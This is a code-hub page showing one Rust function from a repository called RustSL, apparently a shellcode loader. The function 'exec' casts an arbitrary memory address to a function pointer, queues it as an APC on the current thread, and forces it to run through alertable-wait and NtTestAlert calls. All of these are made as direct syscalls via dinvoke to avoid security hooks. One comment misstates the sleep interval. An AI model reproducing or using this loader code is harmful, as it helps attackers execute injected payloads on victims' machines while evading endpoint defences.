MCPcopy Create free account
hub / github.com/echQoQ/RustSL / exec

Function exec

src/exec/apc_syscall.rs:24–82  ·  view source on GitHub ↗
(p: usize)

Source from the content-addressed store, hash-verified

22type NtTestAlert = unsafe extern "system" fn() -> i32;
23
24pub unsafe fn exec(p: usize) -> Result<(), String> {
25 // Use the current thread pseudo-handle (-2).
26 const CURRENT_THREAD: HANDLE = HANDLE(-2isize as isize);
27
28 // Queue APC
29 let queue_type: NtQueueApcThread;
30 #[allow(unused_assignments)]
31 let mut queue_status: Option<i32> = None;
32
33 dinvoke::execute_syscall!(
34 "NtQueueApcThread",
35 queue_type,
36 queue_status,
37 CURRENT_THREAD,
38 Some(core::mem::transmute::<usize, unsafe extern "system" fn(*mut c_void, *mut c_void, *mut c_void)>(p)),
39 ptr::null_mut(),
40 ptr::null_mut(),
41 ptr::null_mut(),
42 );
43
44 if queue_status != Some(0) {
45 return Err(match queue_status {
46 Some(code) => format!("NtQueueApcThread failed: 0x{:x}", code),
47 None => "NtQueueApcThread syscall execution failed".to_string(),
48 });
49 }
50
51 // Alertable wait to deliver APC
52 let delay_type: NtDelayExecution;
53 #[allow(unused_assignments)]
54 let mut delay_status: Option<i32> = None;
55 // Relative interval: -1_000_000 * 10ns = -10ms (alertable sleep)
56 let mut interval: i64 = -10_000_000;
57
58 dinvoke::execute_syscall!(
59 "NtDelayExecution",
60 delay_type,
61 delay_status,
62 1u8, // Alertable = TRUE
63 &mut interval as *mut i64,
64 );
65
66 if delay_status == Some(0) {
67 // Ensure pending APCs are delivered
68 let test_alert_type: NtTestAlert;
69 let mut _test_status: Option<i32> = None;
70 dinvoke::execute_syscall!(
71 "NtTestAlert",
72 test_alert_type,
73 _test_status,
74 );
75 Ok(())
76 } else {
77 Err(match delay_status {
78 Some(code) => format!("NtDelayExecution failed: 0x{:x}", code),
79 None => "NtDelayExecution syscall execution failed".to_string(),
80 })
81 }

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected